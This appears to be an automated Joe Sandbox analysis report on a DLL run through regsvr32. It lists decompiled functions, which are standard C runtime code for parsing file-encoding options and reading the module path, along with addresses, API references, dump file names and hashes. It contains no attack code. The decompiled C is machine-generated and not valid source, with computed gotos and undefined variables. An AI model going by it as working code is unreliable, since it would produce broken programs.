C-Code - Quality: 69%

			E1003C763(void* __edi, intOrPtr __esi, void* __eflags, long long __rbx, void* __r13, long long __r14) {
				intOrPtr _t23;
				intOrPtr _t26;
				intOrPtr _t27;
				intOrPtr _t28;
				intOrPtr _t29;
				intOrPtr _t30;
				intOrPtr _t31;
				intOrPtr _t36;
				intOrPtr _t38;
				void* _t40;
				intOrPtr _t41;
				signed long long _t44;
				long long _t46;
				void* _t52;
				void* _t54;
				long long* _t56;
				void* _t58;
				void* _t60;
				void* _t61;
				void* _t62;
				void* _t64;
				long long _t66;
				void* _t68;

				_t66 = __r14;
				_t64 = __r13;
				_t46 = __rbx;
				_t41 = __esi;
				_t40 = __edi;
				asm("bt edi, 0xc");
				if(__eflags >= 0) {
					asm("bts edi, 0xc");
				} else {
					_t38 = r14d;
				}
				_t23 =  *((intOrPtr*)(_t46 + 1));
				_t46 = _t46 + 1;
				__eflags = _t23;
				if(_t23 != 0) {
					__eflags = _t38;
					if(_t38 == 0) {
						goto L9;
					} else {
						__eflags = _t23 + 0xffffffe0 - 0x54;
						if(_t23 + 0xffffffe0 > 0x54) {
							goto L1;
						} else {
							_t36 =  *((intOrPtr*)(_t60 + 0x3c8c4 + _t44 * 4));
							_t48 = _t48 + _t60;
							goto __rcx;
						}
					}
				} else {
					L9:
					__eflags = r11d;
					if(r11d == 0) {
						L19:
						__eflags =  *_t46 - 0x20;
						while( *_t46 == 0x20) {
							_t46 = _t46 + 1;
							__eflags =  *_t46 - 0x20;
						}
						__eflags =  *_t46 - r14b;
						if( *_t46 != r14b) {
							goto L1;
						} else {
							r9d = r12d;
							r8d = _t40;
							 *((intOrPtr*)(_t58 + 0x20)) = 0x180;
							_t27 = E10048BC0(_t58 + 0x30, _t64);
							__eflags = _t27;
							if(_t27 != 0) {
								goto L2;
							} else {
								 *0x100b8050 =  *0x100b8050 + 1;
								__eflags =  *0x100b8050;
								_t26 =  *((intOrPtr*)(_t58 + 0x30));
								 *((intOrPtr*)(_t56 + 0x18)) = _t41;
								 *((intOrPtr*)(_t56 + 0x1c)) = _t26;
								 *((intOrPtr*)(_t56 + 8)) = r14d;
								 *_t56 = _t66;
								 *((long long*)(_t56 + 0x10)) = _t66;
								 *((long long*)(_t56 + 0x28)) = _t66;
							}
						}
					} else {
						__eflags =  *_t46 - 0x20;
						while( *_t46 == 0x20) {
							_t46 = _t46 + 1;
							__eflags =  *_t46 - 0x20;
						}
						_t48 = 0x1009c2c8;
						r8d = 4;
						_t50 = _t46;
						_t28 = E10049190(_t36, _t44, _t46, 0x1009c2c8, _t46, _t52, _t54, _t60, _t61, _t62, _t64);
						__eflags = _t28;
						if(_t28 != 0) {
							L1:
							E10032420(_t44);
							r9d = 0;
							r8d = 0;
							 *((long long*)(_t58 + 0x20)) = _t66;
							 *_t44 = 0x16;
							E10034370(_t46, _t48, _t50, _t52, _t54, _t56, _t60);
							L2:
							_t26 = 0;
						} else {
							_t46 = _t46 + 4;
							_t50 = 0x1009c2d0;
							_t48 = _t46;
							_t29 = E10048F50(_t36, _t41, _t46, _t46, 0x1009c2d0, _t52, _t54, _t56, _t60, _t62, _t64, _t66, _t68);
							__eflags = _t29;
							if(_t29 != 0) {
								_t50 = "UTF-16LE";
								_t48 = _t46;
								_t30 = E10048F50(_t36, _t41, _t46, _t46, "UTF-16LE", _t52, _t54, _t56, _t60, _t62, _t64, _t66, _t68);
								__eflags = _t30;
								if(_t30 != 0) {
									_t50 = "UNICODE";
									_t48 = _t46;
									_t31 = E10048F50(_t36, _t41, _t46, _t46, "UNICODE", _t52, _t54, _t56, _t60, _t62, _t64, _t66, _t68);
									__eflags = _t31;
									if(_t31 != 0) {
										goto L1;
									} else {
										_t46 = _t46 + 7;
										asm("bts edi, 0x10");
										goto L19;
									}
								} else {
									_t46 = _t46 + 8;
									asm("bts edi, 0x11");
									goto L19;
								}
							} else {
								_t46 = _t46 + 5;
								asm("bts edi, 0x12");
								goto L19;
							}
						}
					}
				}
				return _t26;
			}

0x1003c763
0x1003c763
0x1003c763
0x1003c763
0x1003c763
0x1003c763
0x1003c767
0x1003c76e
0x1003c769
0x1003c769
0x1003c769
0x1003c793
0x1003c796
0x1003c79a
0x1003c79c
0x1003c690
0x1003c692
0x00000000
0x1003c698
0x1003c69e
0x1003c6a1
0x00000000
0x1003c6a3
0x1003c6ae
0x1003c6b6
0x1003c6b9
0x1003c6b9
0x1003c6a1
0x1003c7a2
0x1003c7a2
0x1003c7a2
0x1003c7a5
0x1003c833
0x1003c833
0x1003c836
0x1003c840
0x1003c844
0x1003c844
0x1003c849
0x1003c84c
0x00000000
0x1003c852
0x1003c857
0x1003c85a
0x1003c860
0x1003c868
0x1003c86d
0x1003c86f
0x00000000
0x1003c875
0x1003c875
0x1003c875
0x1003c87c
0x1003c880
0x1003c883
0x1003c886
0x1003c88a
0x1003c891
0x1003c895
0x1003c895
0x1003c86f
0x1003c7ab
0x1003c7ab
0x1003c7ae
0x1003c7b0
0x1003c7b4
0x1003c7b4
0x1003c7b9
0x1003c7c0
0x1003c7c6
0x1003c7c9
0x1003c7ce
0x1003c7d0
0x1003c631
0x1003c631
0x1003c636
0x1003c639
0x1003c640
0x1003c645
0x1003c64b
0x1003c650
0x1003c650
0x1003c7d6
0x1003c7d6
0x1003c7da
0x1003c7e1
0x1003c7e4
0x1003c7e9
0x1003c7eb
0x1003c7f7
0x1003c7fe
0x1003c801
0x1003c806
0x1003c808
0x1003c814
0x1003c81b
0x1003c81e
0x1003c823
0x1003c825
0x00000000
0x1003c82b
0x1003c82b
0x1003c82f
0x00000000
0x1003c82f
0x1003c80a
0x1003c80a
0x1003c80e
0x00000000
0x1003c80e
0x1003c7ed
0x1003c7ed
0x1003c7f1
0x00000000
0x1003c7f1
0x1003c7eb
0x1003c7d0
0x1003c7a5
0x1003c8c0

APIs

_wsopen_s.LIBCMT ref: 1003C868

Strings

ccs=, xrefs: 1003C7B9
UTF-8, xrefs: 1003C7DA

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: _wsopen_s
String ID: UTF-8$ccs=
API String ID: 2316899696-830595458
Opcode ID: 2be52738c052337d4bda3f6705e3e38c2757b237c5a31422dfcd621fe727970f
Instruction ID: e858ce3b63a4ce1ade3d8deb26a6e76e0ebe401022742ec1583a499c913ce6e7
Opcode Fuzzy Hash: 2be52738c052337d4bda3f6705e3e38c2757b237c5a31422dfcd621fe727970f
Instruction Fuzzy Hash: 9521B07AA087C48EEB12CF23E804B497BA0F749BC8F145011EE88DB71ADB39C501CB00

Uniqueness

Uniqueness Score: -1.00%

Function 1003C774 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 67
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E1003C774(signed int __edi, intOrPtr __esi, long long __rbx, void* __r13, long long __r14) {
				intOrPtr _t25;
				intOrPtr _t28;
				intOrPtr _t38;
				intOrPtr _t40;
				signed int _t43;
				intOrPtr _t44;
				signed long long _t47;
				long long _t49;
				void* _t55;
				void* _t57;
				long long* _t59;
				void* _t61;
				void* _t63;
				void* _t64;
				void* _t65;
				void* _t67;
				long long _t69;
				void* _t71;

				_t69 = __r14;
				_t67 = __r13;
				_t49 = __rbx;
				_t44 = __esi;
				if((dil & 0x00000040) == 0) {
					_t43 = __edi | 0x00000040;
				} else {
					_t40 = r14d;
				}
				_t25 =  *((intOrPtr*)(_t49 + 1));
				_t49 = _t49 + 1;
				if(_t25 != 0) {
					if(_t40 == 0) {
						goto L9;
					} else {
						if(_t25 + 0xffffffe0 > 0x54) {
							goto L1;
						} else {
							_t38 =  *((intOrPtr*)(_t63 + 0x3c8c4 + _t47 * 4));
							_t51 = _t51 + _t63;
							goto __rcx;
						}
					}
				} else {
					L9:
					if(r11d == 0) {
						L19:
						while( *_t49 == 0x20) {
							_t49 = _t49 + 1;
						}
						if( *_t49 != r14b) {
							goto L1;
						} else {
							r9d = r12d;
							r8d = _t43;
							 *((intOrPtr*)(_t61 + 0x20)) = 0x180;
							if(E10048BC0(_t61 + 0x30, _t67) != 0) {
								goto L2;
							} else {
								 *0x100b8050 =  *0x100b8050 + 1;
								_t28 =  *((intOrPtr*)(_t61 + 0x30));
								 *((intOrPtr*)(_t59 + 0x18)) = _t44;
								 *((intOrPtr*)(_t59 + 0x1c)) = _t28;
								 *((intOrPtr*)(_t59 + 8)) = r14d;
								 *_t59 = _t69;
								 *((long long*)(_t59 + 0x10)) = _t69;
								 *((long long*)(_t59 + 0x28)) = _t69;
							}
						}
					} else {
						while( *_t49 == 0x20) {
							_t49 = _t49 + 1;
						}
						_t51 = 0x1009c2c8;
						r8d = 4;
						_t53 = _t49;
						if(E10049190(_t38, _t47, _t49, 0x1009c2c8, _t49, _t55, _t57, _t63, _t64, _t65, _t67) != 0) {
							L1:
							E10032420(_t47);
							r9d = 0;
							r8d = 0;
							 *((long long*)(_t61 + 0x20)) = _t69;
							 *_t47 = 0x16;
							E10034370(_t49, _t51, _t53, _t55, _t57, _t59, _t63);
							L2:
							_t28 = 0;
						} else {
							_t49 = _t49 + 4;
							_t53 = 0x1009c2d0;
							_t51 = _t49;
							if(E10048F50(_t38, _t44, _t49, _t49, 0x1009c2d0, _t55, _t57, _t59, _t63, _t65, _t67, _t69, _t71) != 0) {
								_t53 = "UTF-16LE";
								_t51 = _t49;
								if(E10048F50(_t38, _t44, _t49, _t49, "UTF-16LE", _t55, _t57, _t59, _t63, _t65, _t67, _t69, _t71) != 0) {
									_t53 = "UNICODE";
									_t51 = _t49;
									if(E10048F50(_t38, _t44, _t49, _t49, "UNICODE", _t55, _t57, _t59, _t63, _t65, _t67, _t69, _t71) != 0) {
										goto L1;
									} else {
										_t49 = _t49 + 7;
										asm("bts edi, 0x10");
										goto L19;
									}
								} else {
									_t49 = _t49 + 8;
									asm("bts edi, 0x11");
									goto L19;
								}
							} else {
								_t49 = _t49 + 5;
								asm("bts edi, 0x12");
								goto L19;
							}
						}
					}
				}
				return _t28;
			}

0x1003c774
0x1003c774
0x1003c774
0x1003c774
0x1003c778
0x1003c77f
0x1003c77a
0x1003c77a
0x1003c77a
0x1003c793
0x1003c796
0x1003c79c
0x1003c692
0x00000000
0x1003c698
0x1003c6a1
0x00000000
0x1003c6a3
0x1003c6ae
0x1003c6b6
0x1003c6b9
0x1003c6b9
0x1003c6a1
0x1003c7a2
0x1003c7a2
0x1003c7a5
0x1003c833
0x1003c836
0x1003c840
0x1003c844
0x1003c84c
0x00000000
0x1003c852
0x1003c857
0x1003c85a
0x1003c860
0x1003c86f
0x00000000
0x1003c875
0x1003c875
0x1003c87c
0x1003c880
0x1003c883
0x1003c886
0x1003c88a
0x1003c891
0x1003c895
0x1003c895
0x1003c86f
0x1003c7ab
0x1003c7ae
0x1003c7b0
0x1003c7b4
0x1003c7b9
0x1003c7c0
0x1003c7c6
0x1003c7d0
0x1003c631
0x1003c631
0x1003c636
0x1003c639
0x1003c640
0x1003c645
0x1003c64b
0x1003c650
0x1003c650
0x1003c7d6
0x1003c7d6
0x1003c7da
0x1003c7e1
0x1003c7eb
0x1003c7f7
0x1003c7fe
0x1003c808
0x1003c814
0x1003c81b
0x1003c825
0x00000000
0x1003c82b
0x1003c82b
0x1003c82f
0x00000000
0x1003c82f
0x1003c80a
0x1003c80a
0x1003c80e
0x00000000
0x1003c80e
0x1003c7ed
0x1003c7ed
0x1003c7f1
0x00000000
0x1003c7f1
0x1003c7eb
0x1003c7d0
0x1003c7a5
0x1003c8c0

APIs

_wsopen_s.LIBCMT ref: 1003C868

Strings

ccs=, xrefs: 1003C7B9
UTF-8, xrefs: 1003C7DA

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: _wsopen_s
String ID: UTF-8$ccs=
API String ID: 2316899696-830595458
Opcode ID: a72d3eb6f6e2df3b96f62528ce2d8997f16928859e302bf659f1b60548720884
Instruction ID: 34a247a9dc2b9195d1eacb2c55af37fcba24f46fa7d43bd80da751c204a7a611
Opcode Fuzzy Hash: a72d3eb6f6e2df3b96f62528ce2d8997f16928859e302bf659f1b60548720884
Instruction Fuzzy Hash: CC217FBAA087C58EEB12CF23E804B497BA1F745BC8F145011EE899B72ADB79C541CB40

Uniqueness

Uniqueness Score: -1.00%

Function 1003EA70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E1003EA70(long long __rbx, long long __rdi, long long __rsi, void* __r8, void* __r12, void* __r13, void* __r14, char _a8, long long _a16, long long _a24, long long _a32) {
				char _v24;
				long long _v40;
				long long _t42;
				long long _t44;
				char* _t45;
				long long _t53;
				long long _t56;
				long long _t58;
				signed long long _t59;
				void* _t62;
				void* _t63;
				void* _t67;
				void* _t68;
				void* _t69;

				_t69 = __r14;
				_t68 = __r13;
				_t67 = __r12;
				_t63 = __r8;
				_t58 = __rsi;
				_t53 = __rdi;
				_t44 = __rbx;
				if( *0x100b9d58 == 0) {
					E1003AB60();
				}
				_a16 = _t44;
				_a32 = _t53;
				r8d = 0x104;
				 *0x100b8164 = 0;
				GetModuleFileNameA(??, ??, ??);
				_t45 =  *0x100b9d68;
				 *0x100b7718 = 0x100b8060;
				if(_t45 == 0 ||  *_t45 == 0) {
					_t45 = 0x100b8060;
				}
				r8d = 0;
				_a24 = _t58;
				_v40 =  &_v24;
				E1003E830(_t45, _t45, 0x100b8060, 0x100b8060, _t58, _t62, _t63,  &_a8, _t67, _t68, _t69);
				_t59 = _a8;
				if(_t59 >= 0xffffffff) {
					L10:
					return 0xffffffff;
				} else {
					_t42 = _v24;
					if(_t42 >= 0xffffffff) {
						goto L10;
					} else {
						_t49 = _t42 + _t59 * 8;
						if(_t42 + _t59 * 8 < _t42) {
							goto L10;
						} else {
							E10038810(0, _t42, _t45, _t49, 0x100b8060, _t59, _t62);
							_t56 = _t42;
							if(_t42 == 0) {
								goto L10;
							} else {
								_v40 =  &_v24;
								E1003E830(_t45, _t45, _t56, _t56, _t59, _t62, _t42 + _t59 * 8,  &_a8, _t67, _t68, _t69);
								r11d = _a8;
								 *0x100b76e8 = _t56;
								r11d = r11d + 0xffffffff;
								 *0x100b76e0 = r11d;
								return 0;
							}
						}
					}
				}
			}

0x1003ea70
0x1003ea70
0x1003ea70
0x1003ea70
0x1003ea70
0x1003ea70
0x1003ea70
0x1003ea7b
0x1003ea7d
0x1003ea7d
0x1003ea82
0x1003ea87
0x1003ea93
0x1003ea9e
0x1003eaa5
0x1003eaab
0x1003eab5
0x1003eabc
0x1003eac3
0x1003eac3
0x1003ead0
0x1003ead8
0x1003eadd
0x1003eae2
0x1003eae7
0x1003eaf9
0x1003eb67
0x1003eb7f
0x1003eafb
0x1003eafb
0x1003eb04
0x00000000
0x1003eb06
0x1003eb06
0x1003eb0d
0x00000000
0x1003eb0f
0x1003eb0f
0x1003eb17
0x1003eb1a
0x00000000
0x1003eb1c
0x1003eb30
0x1003eb35
0x1003eb3a
0x1003eb3f
0x1003eb46
0x1003eb4c
0x1003eb66
0x1003eb66
0x1003eb1a
0x1003eb0d
0x1003eb04

APIs

__initmbctable.LIBCMT ref: 1003EA7D
GetModuleFileNameA.KERNEL32(?,?,?,?,?,?,?,?,100320ED), ref: 1003EAA5

Strings

C:\Windows\System32\regsvr32.exe, xrefs: 1003EA8C

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: FileModuleName__initmbctable
String ID: C:\Windows\System32\regsvr32.exe
API String ID: 3548084100-2355580720
Opcode ID: f0eb95a0fdf98fcde894c7603651da91a0f573758124d2ea7b3173e769ce3ff7
Instruction ID: 9c1381fa5f8542e14d39e4835c11cbbfc4652ccf7864e8466ceb5fa1f2ab3728
Opcode Fuzzy Hash: f0eb95a0fdf98fcde894c7603651da91a0f573758124d2ea7b3173e769ce3ff7
Instruction Fuzzy Hash: 0421823A614BC08ADA02CB55E44038AB7A1F788BF1F480715EAED17BE8DB7CD545CB00

Uniqueness

Uniqueness Score: -1.00%

Function 1003C784 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 63
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E1003C784(void* __edi, intOrPtr __esi, long long __rbx, void* __r13, long long __r14) {
				intOrPtr _t23;
				intOrPtr _t26;
				intOrPtr _t36;
				void* _t38;
				void* _t40;
				intOrPtr _t41;
				signed long long _t53;
				void* _t61;
				void* _t63;
				long long* _t65;
				void* _t67;
				void* _t69;
				void* _t70;
				void* _t71;
				void* _t73;
				long long _t75;
				void* _t77;

				_t75 = __r14;
				_t73 = __r13;
				_t55 = __rbx;
				_t41 = __esi;
				_t40 = __edi;
				asm("bts edi, 0x7");
				_t23 =  *((intOrPtr*)(__rbx + 1));
				_t55 = __rbx + 1;
				if(_t23 != 0) {
					if(_t38 == 0) {
						goto L7;
					} else {
						if(_t23 + 0xffffffe0 > 0x54) {
							goto L1;
						} else {
							_t36 =  *((intOrPtr*)(_t69 + 0x3c8c4 + _t53 * 4));
							_t57 = _t57 + _t69;
							goto __rcx;
						}
					}
				} else {
					L7:
					if(r11d == 0) {
						L17:
						while( *_t55 == 0x20) {
							_t55 = _t55 + 1;
						}
						if( *_t55 != r14b) {
							goto L1;
						} else {
							r9d = r12d;
							r8d = _t40;
							 *((intOrPtr*)(_t67 + 0x20)) = 0x180;
							if(E10048BC0(_t67 + 0x30, _t73) != 0) {
								goto L2;
							} else {
								 *0x100b8050 =  *0x100b8050 + 1;
								_t26 =  *((intOrPtr*)(_t67 + 0x30));
								 *((intOrPtr*)(_t65 + 0x18)) = _t41;
								 *((intOrPtr*)(_t65 + 0x1c)) = _t26;
								 *((intOrPtr*)(_t65 + 8)) = r14d;
								 *_t65 = _t75;
								 *((long long*)(_t65 + 0x10)) = _t75;
								 *((long long*)(_t65 + 0x28)) = _t75;
							}
						}
					} else {
						while( *_t55 == 0x20) {
							_t55 = _t55 + 1;
						}
						_t57 = 0x1009c2c8;
						r8d = 4;
						_t59 = _t55;
						if(E10049190(_t36, _t53, _t55, 0x1009c2c8, _t55, _t61, _t63, _t69, _t70, _t71, _t73) != 0) {
							L1:
							E10032420(_t53);
							r9d = 0;
							r8d = 0;
							 *((long long*)(_t67 + 0x20)) = _t75;
							 *_t53 = 0x16;
							E10034370(_t55, _t57, _t59, _t61, _t63, _t65, _t69);
							L2:
							_t26 = 0;
						} else {
							_t55 = _t55 + 4;
							_t59 = 0x1009c2d0;
							_t57 = _t55;
							if(E10048F50(_t36, _t41, _t55, _t55, 0x1009c2d0, _t61, _t63, _t65, _t69, _t71, _t73, _t75, _t77) != 0) {
								_t59 = "UTF-16LE";
								_t57 = _t55;
								if(E10048F50(_t36, _t41, _t55, _t55, "UTF-16LE", _t61, _t63, _t65, _t69, _t71, _t73, _t75, _t77) != 0) {
									_t59 = "UNICODE";
									_t57 = _t55;
									if(E10048F50(_t36, _t41, _t55, _t55, "UNICODE", _t61, _t63, _t65, _t69, _t71, _t73, _t75, _t77) != 0) {
										goto L1;
									} else {
										_t55 = _t55 + 7;
										asm("bts edi, 0x10");
										goto L17;
									}
								} else {
									_t55 = _t55 + 8;
									asm("bts edi, 0x11");
									goto L17;
								}
							} else {
								_t55 = _t55 + 5;
								asm("bts edi, 0x12");
								goto L17;
							}
						}
					}
				}
				return _t26;
			}

0x1003c784
0x1003c784
0x1003c784
0x1003c784
0x1003c784
0x1003c784
0x1003c793
0x1003c796
0x1003c79c
0x1003c692
0x00000000
0x1003c698
0x1003c6a1
0x00000000
0x1003c6a3
0x1003c6ae
0x1003c6b6
0x1003c6b9
0x1003c6b9
0x1003c6a1
0x1003c7a2
0x1003c7a2
0x1003c7a5
0x1003c833
0x1003c836
0x1003c840
0x1003c844
0x1003c84c
0x00000000
0x1003c852
0x1003c857
0x1003c85a
0x1003c860
0x1003c86f
0x00000000
0x1003c875
0x1003c875
0x1003c87c
0x1003c880
0x1003c883
0x1003c886
0x1003c88a
0x1003c891
0x1003c895
0x1003c895
0x1003c86f
0x1003c7ab
0x1003c7ae
0x1003c7b0
0x1003c7b4
0x1003c7b9
0x1003c7c0
0x1003c7c6
0x1003c7d0
0x1003c631
0x1003c631
0x1003c636
0x1003c639
0x1003c640
0x1003c645
0x1003c64b
0x1003c650
0x1003c650
0x1003c7d6
0x1003c7d6
0x1003c7da
0x1003c7e1
0x1003c7eb
0x1003c7f7
0x1003c7fe
0x1003c808
0x1003c814
0x1003c81b
0x1003c825
0x00000000
0x1003c82b
0x1003c82b
0x1003c82f
0x00000000
0x1003c82f
0x1003c80a
0x1003c80a
0x1003c80e
0x00000000
0x1003c80e
0x1003c7ed
0x1003c7ed
0x1003c7f1
0x00000000
0x1003c7f1
0x1003c7eb
0x1003c7d0
0x1003c7a5
0x1003c8c0

APIs

_wsopen_s.LIBCMT ref: 1003C868

Strings

ccs=, xrefs: 1003C7B9
UTF-8, xrefs: 1003C7DA

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: _wsopen_s
String ID: UTF-8$ccs=
API String ID: 2316899696-830595458
Opcode ID: a9bd4f50a443604f4fea7629e0dbe9e0fc3ef9960f837e3ab2cc3e96ffbb3e85
Instruction ID: 57be59739fb84ae58a2cd39a45458455042c4e31a42d2d4c7c6a0d17978dfe0c
Opcode Fuzzy Hash: a9bd4f50a443604f4fea7629e0dbe9e0fc3ef9960f837e3ab2cc3e96ffbb3e85
Instruction Fuzzy Hash: 6E21627AA087C59EEB12CF22E8047497BA0F745BC8F545011EF899771ADB79C541CB40

Uniqueness

Uniqueness Score: -1.00%

Function 1003C78A Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 63
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E1003C78A(void* __ecx, void* __edi, void* __esi, intOrPtr* __rax, long long __rbx, void* __rdi, void* __rsi, void* __r8, void* __r9, void* __r12, void* __r13, long long __r14, void* __r15) {
				intOrPtr* _t33;
				long long _t34;
				void* _t36;
				void* _t37;
				void* _t38;
				void* _t40;
				void* _t42;
				void* _t44;
				void* _t46;
				long long _t52;

				_t52 = __r14;
				_t46 = __r8;
				_t40 = __rsi;
				_t38 = __rdi;
				_t34 = __rbx;
				_t33 = __rax;
				r11d = 1;
				__al =  *((intOrPtr*)(__rbx + 1));
				__rbx = __rbx + 1;
				if(__al != 0) {
					if(__edx == 0) {
						goto L7;
					} else {
						if(__al + 0xffffffe0 > 0x54) {
							goto L1;
						} else {
							__ecx =  *((intOrPtr*)(__r8 + 0x3c8c4 + __rax * 4));
							goto __rcx;
						}
					}
				} else {
					L7:
					if(r11d == 0) {
						L17:
						while( *__rbx == 0x20) {
							__rbx = __rbx + 1;
						}
						if( *__rbx != r14b) {
							goto L1;
						} else {
							__rcx = __rsp + 0x30;
							r9d = r12d;
							r8d = __edi;
							__rdx = __r13;
							 *((intOrPtr*)(__rsp + 0x20)) = 0x180;
							if(E10048BC0(__rsp + 0x30, __r13) != 0) {
								goto L2;
							} else {
								 *0x100b8050 =  *0x100b8050 + 1;
								 *((intOrPtr*)(__rbp + 0x18)) = __esi;
								 *((intOrPtr*)(__rbp + 0x1c)) =  *((intOrPtr*)(__rsp + 0x30));
								 *((intOrPtr*)(__rbp + 8)) = r14d;
								 *__rbp = __r14;
								__rax = __rbp;
								 *((long long*)(__rbp + 0x10)) = __r14;
								 *((long long*)(__rbp + 0x28)) = __r14;
							}
						}
					} else {
						while( *__rbx == 0x20) {
							__rbx = __rbx + 1;
						}
						__rcx = 0x1009c2c8;
						r8d = 4;
						__rdx = __rbx;
						if(E10049190(__ecx, __rax, __rbx, 0x1009c2c8, __rdx, __rdi, __rsi, __r8, __r9, __r12, __r13) != 0) {
							L1:
							E10032420(_t33);
							r9d = 0;
							r8d = 0;
							 *((long long*)(_t44 + 0x20)) = _t52;
							 *_t33 = 0x16;
							E10034370(_t34, _t36, _t37, _t38, _t40, _t42, _t46);
							L2:
						} else {
							__rbx = __rbx + 4;
							__rdx = 0x1009c2d0;
							__rcx = __rbx;
							if(E10048F50(__ecx, __esi, __rbx, __rcx, 0x1009c2d0, __rdi, __rsi, __rbp, __r8, __r12, __r13, __r14, __r15) != 0) {
								__rdx = "UTF-16LE";
								__rcx = __rbx;
								if(E10048F50(__ecx, __esi, __rbx, __rcx, __rdx, __rdi, __rsi, __rbp, __r8, __r12, __r13, __r14, __r15) != 0) {
									__rdx = "UNICODE";
									__rcx = __rbx;
									if(E10048F50(__ecx, __esi, __rbx, __rcx, __rdx, __rdi, __rsi, __rbp, __r8, __r12, __r13, __r14, __r15) != 0) {
										goto L1;
									} else {
										__rbx = __rbx + 7;
										asm("bts edi, 0x10");
										goto L17;
									}
								} else {
									__rbx = __rbx + 8;
									asm("bts edi, 0x11");
									goto L17;
								}
							} else {
								__rbx = __rbx + 5;
								asm("bts edi, 0x12");
								goto L17;
							}
						}
					}
				}
				return 0;
			}

0x1003c78a
0x1003c78a
0x1003c78a
0x1003c78a
0x1003c78a
0x1003c78a
0x1003c78a
0x1003c793
0x1003c796
0x1003c79c
0x1003c692
0x00000000
0x1003c698
0x1003c6a1
0x00000000
0x1003c6a3
0x1003c6ae
0x1003c6b9
0x1003c6b9
0x1003c6a1
0x1003c7a2
0x1003c7a2
0x1003c7a5
0x1003c833
0x1003c836
0x1003c840
0x1003c844
0x1003c84c
0x00000000
0x1003c852
0x1003c852
0x1003c857
0x1003c85a
0x1003c85d
0x1003c860
0x1003c86f
0x00000000
0x1003c875
0x1003c875
0x1003c880
0x1003c883
0x1003c886
0x1003c88a
0x1003c88e
0x1003c891
0x1003c895
0x1003c895
0x1003c86f
0x1003c7ab
0x1003c7ae
0x1003c7b0
0x1003c7b4
0x1003c7b9
0x1003c7c0
0x1003c7c6
0x1003c7d0
0x1003c631
0x1003c631
0x1003c636
0x1003c639
0x1003c640
0x1003c645
0x1003c64b
0x1003c650
0x1003c7d6
0x1003c7d6
0x1003c7da
0x1003c7e1
0x1003c7eb
0x1003c7f7
0x1003c7fe
0x1003c808
0x1003c814
0x1003c81b
0x1003c825
0x00000000
0x1003c82b
0x1003c82b
0x1003c82f
0x00000000
0x1003c82f
0x1003c80a
0x1003c80a
0x1003c80e
0x00000000
0x1003c80e
0x1003c7ed
0x1003c7ed
0x1003c7f1
0x00000000
0x1003c7f1
0x1003c7eb
0x1003c7d0
0x1003c7a5
0x1003c8c0

APIs

_wsopen_s.LIBCMT ref: 1003C868

Strings

ccs=, xrefs: 1003C7B9
UTF-8, xrefs: 1003C7DA

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

